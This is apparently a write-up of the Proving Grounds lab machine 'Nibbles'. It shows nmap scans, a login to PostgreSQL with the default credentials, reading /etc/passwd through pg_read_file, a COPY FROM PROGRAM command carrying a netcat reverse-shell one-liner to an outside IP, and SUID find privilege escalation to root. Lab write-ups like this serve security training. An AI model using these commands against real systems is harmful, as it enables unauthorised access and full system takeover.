Home Proving Grounds - Nibble
Post
Cancel

Proving Grounds - Nibble

Nibbles Overview

Machine Details:

IPHostnameOperating System
192.168.82.47NibblesLinux

Path to Exploitation

Nibbles is a box that requires us to attack a PostgreSQL server with weak credentials to gain access to the machine. From there, we abuse a vulnerable binary with the sticky bit (suid) to escalate to root.

Nibbles Enumeration

Full Port Scan

I ran the following command:

1
nmap -Pn -p- 192.168.82.47 -oA nmap/full-port --open

Which resulted in the following:

PortService
21ftp
22ssh
80http
5437pmip6-data

Service Scan

I also ran a service scan on the found ports:

1
nmap -Pn -p 8080,12445,18030,43022 -sC -sV -oA nmap/service-scan 192.168.82.47

And found the following:

PortServiceVersion
21ftpvsftpd 3.0.3
22sshOpenSSH 7.9p1
80httpApache httpd 2.4.38
5437postgresqlPostgreSQL DB 11.3 - 11.7

PostgreSQL

Default credentials are enabled for the DB server

1
psql -h 192.168.82.125 -U postgres -p 5437

Enter the password “postgres” when prompted

PostgreSQL Default Credentials

Enumerating the Database

We are logged in as the postgres user, who is also the superuser

Super User Access

Can use the pg_read_file method to read files on the machine

1
select pg_read_file('/etc/passwd', 0, 100000); 

Readingetc/passwd

There are two users (excluding the root user) that have logins:

  • wilson
  • postgres

We can use the pg_ls_dir method to print directory contents:

1
select pg_ls_dir('/home/wilson');

Targeting the Wilson User

So we can see that wilson is the use with the local flag

Shell on Nibbles

PostgreSQL RCE

PostgreSQL RCE

1
CREATE TABLE shell(output text);
1
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.63 80 >/tmp/f';

Setup a listener to catch the shell

Catching a Reverse Shell

We already know the location of the local flag, time to grab that

Local Flag

Privilege Escalation

The find binary has the SUID bit set, GTFOBins has an entry for it here: https://gtfobins.github.io/gtfobins/find/

SUID Binary

Follow the instructions from GTFOBins and run the following command

1
/usr/bin/find . -exec /bin/sh -p \; -quit

results in a root shell

Root Shell

This post is licensed under CC BY 4.0 by the author.